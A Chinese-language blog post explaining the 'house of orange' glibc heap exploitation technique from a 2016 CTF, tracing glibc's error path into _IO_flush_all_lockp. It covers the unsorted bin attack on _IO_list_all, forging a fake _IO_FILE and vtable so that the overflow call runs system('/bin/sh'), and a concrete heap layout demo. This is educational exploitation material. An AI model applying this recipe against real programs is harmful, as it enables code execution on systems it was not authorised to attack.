关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
house_of_orange
无
660
0
0
mut3p1g
## house_of_orange 原文:http://4ngelboy.blogspot.tw/2016/10/hitcon-ctf-qual-2016-house-of-orange.html 这里本质上也是对`unsortedbin`攻击方法的利用。如果可以分配多个`chunk`的话可以利用其他方法进行攻击,所以这个方法主要是针对只能分配一个`chunk`的情况。 这里用到了`sysmalloc`的相关知识,具体可以参照前面对[sysmalloc](http://www.mutepig.club/index.php/archives/47/#3.sysmalloc)的介绍。 ### 1. glibc处理内存错误 出现内存错误的时候一般会调用`malloc_printerr`,就像下面这样: ``` 3547 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) 3548 malloc_printerr ("malloc(): memory corruption (fast)"); ``` 接着跟进一下,发现调用了`__libc_message`,并且`action=do_abort` ``` 5285 malloc_printerr (const char *str) 5286 { 5287 __libc_message (do_abort, "%s\n", str); 5288 __builtin_unreachable (); 5289 } ``` 接着就是调用`abort`了:[链接](https://code.woboq.org/userspace/glibc/sysdeps/posix/libc_fatal.c.html#175) ``` 175 if ((action & do_abort)) 176 { 177 if ((action & do_backtrace)) 178 BEFORE_ABORT (do_abort, written, fd); 179 180 /* Kill the application. */ 181 abort (); 182 } ``` 接着就会调用`fflush`:[链接](https://code.woboq.org/userspace/glibc/stdlib/abort.c.html#abort) ``` 70 /* Flush all streams. We cannot close them now because the user 71 might have registered a handler for SIGABRT. */ 72 if (stage == 1) 73 { 74 ++stage; 75 fflush (NULL); 76 } ``` 而`fflush`对应着下面这个函数: ``` 5 #define fflush(s) _IO_flush_all_lockp (0) ``` 这就是关键了:[链接](https://code.woboq.org/userspace/glibc/libio/genops.c.html#_IO_flush_all_lockp) ``` 757 _IO_flush_all_lockp (int do_lock) // 汇编abort + 248调用 758 { 759 int result = 0; 760 struct _IO_FILE *fp; 761 int last_stamp; 762 763 #ifdef _IO_MTSAFE_IO 764 __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); 765 if (do_lock) 766 _IO_lock_lock (list_all_lock); 767 #endif 768 769 last_stamp = _IO_list_all_stamp; 770 fp = (_IO_FILE *) _IO_list_all; // 需要覆盖的地方 771 while (fp != NULL) 772 { 773 run_fp = fp; 774 if (do_lock) 775 _IO_flockfile (fp); 776 777 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 778 || (_IO_vtable_offset (fp) == 0 779 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr 780 > fp->_wide_data->_IO_write_base)) 781 ) 782 && _IO_OVERFLOW (fp, EOF) == EOF) // 需要篡改为system的函数 汇编b *_IO_flush_all_lockp+356 783 result = EOF; 784 785 if (do_lock) 786 _IO_funlockfile (fp); 787 run_fp = NULL; 788 789 if (last_stamp != _IO_list_all_stamp) 790 { 791 /* Something was added to the list. Start all over again. */ 792 fp = (_IO_FILE *) _IO_list_all; 793 last_stamp = _IO_list_all_stamp; 794 } 795 else 796 fp = fp->_chain; // 指向我们指定区域的地方 797 } 798 799 #ifdef _IO_MTSAFE_IO 800 if (do_lock) 801 _IO_lock_unlock (list_all_lock); 802 __libc_cleanup_region_end (0); 803 #endif 804 805 return result; 806 } ``` ### 2. 攻击思路 #### 1) unsortedbin attack 首先和之前的[攻击方法](http://www.mutepig.club/index.php/archives/49/#7.unsorted_bin_attack)一样: ``` 3728 /* remove from unsorted list */ 3729 unsorted_chunks (av)->bk = bck; 3730 bck->fd = unsorted_chunks (av); 3734 if (size == nb) 直接将victim返回 ``` 那么构造: ``` free_p->bk=io_list_all-0x10 ``` 这样当在`free_p`分配出去时,就能达到 ``` (io_list_all-0x10)->fd=io_list_all=unsorted_bin ``` 这里我们的`free_p`设置为`top`(实际上是`unsoted bin`),那么就是 ``` top->bk = io_list_all-0x10 ``` #### 2) 触发内存错误 由于`top->bk`指向的是`io_list_all-0x10`,而其对应的`size`是0,所以在反向遍历的过程中会导致错误的发生 ``` 3686 if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) 3687 || __builtin_expect (chunksize_nomask (victim) 3688 > av->system_mem, 0)) 3689 malloc_printerr ("malloc(): memory corruption"); ``` #### 3) fp指向指定位置 当通过内存错误进入`_IO_flush_all_lockp`后,一开始的`_IO_list_all`仍然指向`unsorted bin`,并不是我们能控制的地址。所以我们需要通过`fp = fp->_chain`来将`fp`指向我们能控制的地方。 ``` fp->_chain = fp+0x68 = unsorted_bin + 0x68 ``` `unsorted bin`是`bins[1]`,`unsorted+0x68`就应该是`bins[6]`了。在64位下,`bins[2-6]`都是`smallbins`的范围,大小为0x20,0x30,0x40,0x50,0x60。所以为了让`fp`指向我们指定的位置,就需要让`bins[6]`即0x60的`smallbin`是我们控制的。 那么现在`unsorted bin`中存在唯一的`chunk`为`top`,我们将它的大小改为`0x61`(因为`unsorted bin`中必然是空闲的,所以其前一个必然在使用中),那么当其加入`smallbin`中就会加入到`bins[6]`,这样就能实现`fp=top`也就是我们控制的位置了。 #### 4) FSP 现在我们已经实现了`fp=top`,所以接下来就是实现修改`_IO_OVERFLOW`到`system`并且`fp=/bin/sh`就可以了。 ``` 777 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 778 || (_IO_vtable_offset (fp) == 0 779 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr 780 > fp->_wide_data->_IO_write_base)) 781 ) 782 && _IO_OVERFLOW (fp, EOF) == EOF) ``` 这里主要是要把前面的判断给绕过了 ``` 1. fp->_mode = top+0xc0 = -1 fp->_IO_write_ptr = top+0x28 = 3 fp->_IO_write_base = top+0x20 = 2 2. fp->_mode = top+0xc0 = 1 fp->_wide_data->_IO_write_ptr = top+0xb0 = 3 fp->_wide_data->_IO_write_base = top+0xa8 = 2 fp->_wide_data = top+0xa0 需要指向任意可访问的地址 ``` 然后就是更改`_IO_jump_t` ``` fp->_IO_jump_t = top+0xd8 = [任意地址]top+0x60 _IO_OVERFLOW = _IO_jump_t+0x18 = system_addr ``` 第二个很简单,直接让`top=/bin/sh`就可以了 ### 3. 攻击流程 #### 1) 初始化 ``` malloc(0x400-16)=>p1 ``` #### 2) 修改top->size 修改`top->size`后,会导致再次申请一个超过`top->size`的空间会调用`sysmalloc`进行分配。 ``` top->size = 0xc01 ``` #### 3) 分离fencepost 调用`sysmalloc`分配空间后,由于是主分配区所以会调用`sbrk`分配空间。但由于`top`的大小被修改了,所以会导致`sbrk`分配的空间与`top`的地址不是连续的(`sbrk`分配的是按`top`正常的大小分配的),所以会导致将原`top`切分出来一个`fencepost`,同时原`top`剩余部分加入了`unsorted bin`中。具体参照[sysmalloc](http://www.mutepig.club/index.php/archives/47/#3.sysmalloc)。 ``` malloc(0x1000)=>p2 ``` 所以最终得到的堆是这样的: ``` +=============+ 低地址 p1 +=============+ 原top剩余部分 +=============+ fencepostchunk1 +=============+ fencepostchunk2 +=============+ 无主之地 +=============+ p2 +=============+ 新top +=============+ 高地址 ``` #### 4) 获得`io_list_all` 由于`top`的剩余部分加入了`unsorted bin`,所以其`fd`和`bk`都指向`unsorted bin`的链表头,也就是在`main_arena`中的地址。所以可以推算出`_IO_list_all`的地址。 ``` io_list_all = top->fd + 0x9a8 ``` #### 5) 溢出top头部 通过溢出改写`top`,具体值就和按照上面所述的实现就可以了。 需要注意的是,这里溢出`top`的目的只是为了生成一个我们能控制的`unsortedbin`,所以并不需要非用`top`来完成,只要有一个可控的`unsotedbin`就可以实现攻击了。 #### 6) 利用条件 如果我们拥有一个`unsortedbin`,并且可以随意更改其头部(`chunk`的值在释放后清空的话那也需要能控制),那么就能实现攻击。 #### 7) other 最后还有一个小问题,就是为啥这个攻击方法会不稳定,即可能失败呢? 原因就是在这个判断这里: ``` 777 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ``` 这里这个条件如果失败了那么就不会继续往下走调用`overflow`了 由于第一次我们是从`_IO_list_all`指向`unsorted bin`的,而将它视作`_IO_FILE`结构体后,而对应的`fp->_IO_write_ptr > fp->_IO_write_base`是固定一样的,那么就肯定失败了。 所以只能让`fp->_mode<=0`就可以了,但是这个值是随机的,即只要大于`0x7fffffff`就可以不通过这个条件,从而寻找下一个`fp->_chain`;但如果小于了`0x7fffffff`,那么就会调用`overflow`,但此时肯定是会失败的。 ### 4. demo 最后给个布局`demo`,有括号的都表示是必须的,一共有9个值是必须的 操作步骤为构造一个`size`为0x61的`unsorted bin`,然后构造如下的布局(关键是修改其`bk`),最后随便申请一个不是0x60的就可以导致`unsorted bin`的遍历导致报错 ``` 0x61cf80: 0xfffffffffffffffe(A) 0x0000000000000061(A) 0x61cf90: 0x00007ffff7dd1b78 0x00007ffff7dd2510(_IO_list_all-0x10 修改unsortedbin的bk构成攻击) 0x61cfa0: 0x0000000000000002(A) 0x0000000000000003(A) 0x61cfb0: 0x0000000000000000 0x0000000000400cb8(binsh_addr) 0x61cfc0: 0x0000000000000000 0x0000000000000000 0x61cfd0: 0x00000000000000d0 0x0000000000000031 0x61cfe0: 0x0000000000000000 0x0000000000000011 0x61cff0: 0x0000000000000000 0x0000000000000011 0x61d000: 0x0000000000000000 0x0000000000000000 0x61d010: 0x0000000000000000 0x0000000000000000 0x61d020: 0x0000000000000000 0x0000000000000000 0x61d030: 0x0000000000000000 0x0000000000000000 0x61d040: 0xffffffffffffffff(A) 0x0000000000000000 0x61d050: 0x0000000000000000 0x00007ffff7dd0798(_IO_str_jumps_addr-0x8) 0x61d060: 0x0000000000000000 0x0000000000400746(system_addr) ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.